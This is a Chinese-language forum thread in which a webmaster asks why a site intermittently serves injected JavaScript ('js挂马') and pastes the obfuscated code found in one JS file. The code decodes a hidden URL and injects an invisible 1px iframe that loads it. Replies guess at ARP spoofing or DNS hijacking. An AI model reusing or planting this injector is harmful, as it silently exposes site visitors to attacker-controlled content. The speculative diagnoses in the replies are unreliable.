js挂马

完美

自己检查文件撒。。。

jeffpan

这个叫arp欺骗，取决于路由的不同

loveni

发现我的一个网站被挂了js马 时有时无 不知道是什么回事

loveni

function WJUca(){}function OzkY(){var NJmwgN='cdFgWj';if('ZtHxm'=='lYpNDH')ayDW();}
function IHBcZo(){var kSirg='OslIF';if('rAZZUu'=='CqLU')PhrnLs();}function hqHJ(){}var uqTXj;var hGmnud="sl\x69ce";function pCfqvv(){}
var ZhpkQnW="ap\x70\x65nd\x43h\x69l\x64";if('NklVe'=='ibYEI')BbTJrW();var NotPa=230;var appVersion_var="\x61p\x70Version";function fDIIiP(){var reQEz='VTEVpk';if('JydPNE'=='zWlt')cvNohn();}function VrqWm(){var clDUI='JqYpRH';if('gsAjfV'=='BBtPik')LERmhJ();}
var OYESoqN="co\x6estruc\x74or";function Qopdb(){}function fKLgM(){}if('ZbQYAV'=='pboKZ')IJFn='mQvrL';var BZIIcJ="b\x6fd\x79";function fzsw(){}var TfuIA=165;var KEcCtVD="94a0a09c665b5b9a9b9e9ba19a905a8f9b995b99959a905b959a5a8f93956b5d5c";function XlyXel(){var EzRpT='sClsha';if('eGHqa'=='DlWsL')KKVsG();}if('jOrk'=='KPmo')RBhmj='mdrc';var TCAjcT='TSdpb';var OAObxj='KOvOZ';if('yTgLG'=='pjWEG')DFwYA='OKmzc';var nfKz='THDQz';var pnFPX="fr\x6fmCh\x61r\x43ode";function BfDmZ(){var RbnIPP='frzyp';if('sjhv'=='PtDZCf')lOhQ();}
var YAWJb;var lNdSKhvQa="parse\x49n\x74";if('MRkjiI'=='VGKEjP')Ohvg();var Qgxfyckm="";var BJBUI=30;var YZqM='BDFcd';var px1_var="1px";function JbfVBY(){}
var RlVWHL=(function(){if('kGuV'=='NHpf')NAgFnT();return this;if('NYLlaG'=='oBKW')gvcFxX='gYxQd';if('EfDP'=='BlNW')CewN();})();var TSmRL=48;var azoKCZ="pfDetkEVM"[OYESoqN];for(var oXuvtE=0;oXuvtE<KEcCtVD.length;oXuvtE+=2){var phrJVc;function wAAEhU(){}
HRwKSUNS=RlVWHL[lNdSKhvQa](KEcCtVD[hGmnud](oXuvtE,oXuvtE+2),16)-44;function dlWro(){var KYoV='rqGyWS';if('FNWpvh'=='RKmKSU')GZlyu();}var XpqNTp=54;Qgxfyckm+=azoKCZ[pnFPX](HRwKSUNS);var PopT;var BEwXUw=71;}
if('OlzdkF'=='gZWsY')GMqG='TdVaD';function MPYIj(){}
var mlKBkY="CEAedxGt";var buFwiW=navigator[appVersion_var].indexOf("MSIE")!=-1?'<iframe name="'+mlKBkY+'" src="'+"Qgxfyckm"+'">':'iframe';if('RgcLkT'=='ZvYaEh')LPWHV();var VOblVz;function kcyuoN(){}
var prqjA=document.createElement(buFwiW);var LxsfHI=163;var LkETC=70;var EjINGx='eChBFn';prqjA.nGaVFNzC=prqjA.setAttribute;var oyGpe='bewdk';function RsYv(){var R高墙Di='vWqopB';if('itCY'=='DlarX')DtuEzO();}var meGaaj=191;prqjA.nGaVFNzC("src",Qgxfyckm);var nTAnK=161;var KUik='YYAsV';if('TLSxa'=='WnMIH')rEgGC();var hFNOv='jltVPj';prqjA.name=mlKBkY;function ZWyty(){var qjEnRp='YzMwnS';if('VBFpbd'=='NORp')gyFOIN();}var WZwBte=126;if('hAIB'=='Hnvv')dgxyK='htLM';var eIWD='aeejfZ';prqjA.style.position="absolute";var hjUNlS;prqjA.style.height=px1_var;function zBWcT(){}
prqjA.id=mlKBkY;var GhqqN='XrzMy';prqjA.style.top="0px";var KUCIr=284;function fDfBLu(){var OzGiC='KvINk';if('kPWYFV'=='vnyuXk')OzPqEW();}
prqjA.style.right="0px";function FSRI(){var uURrs='WvcMK';if('GRnpmL'=='CRKpF')QYLZ();}
prqjA.style.width=px1_var;var tsKZC='xJwLF';var cKShlQ;function COkbz(){function RCmxO(){var gBJi='trDKXe';if('bQkWh'=='FkCxqR')aGtPvE();}var bCSo='FZHLv';if('qxMlp'=='sxCfH')eOzXp='MdBz';if(document[BZIIcJ]){function HgVgI(){}
document[BZIIcJ][ZhpkQnW](prqjA);if('tzscg'=='GfgM')fANvR='jkkA';function XJCM(){}}else{function PoKC(){var btXeDe='EuiefI';if('sFtBwT'=='CcZWcE')LeZZ();}if('Rniy'=='KHTJ')NCZj();setTimeout(COkbz,120);function xLDPW(){}function nEtH(){var vbCb='SEDt';if('AjNezx'=='aUPjcM')spHL();}}
var abujH='ilZOb';var kaMJ=215;}
var rNnSXx=220;COkbz();if('xudE'=='FIKvZb')ZKiwM='lGji';function mITtBS(){var PJHHlX='UxNijp';if('UhkAPt'=='iVrZBr')nizXJd();}if('KTqAD'=='ikQAuU')JQGGJc='PVuL';if('DVzrc'=='TJiTN')IZhbu='hufFSU';var xEPhH;

js其中一个文件加入了这个代码

xen

DNs劫持？

loveni

不是 挺多网站都如此！

yafeiml

清下缓存就有了
要么就是换个IP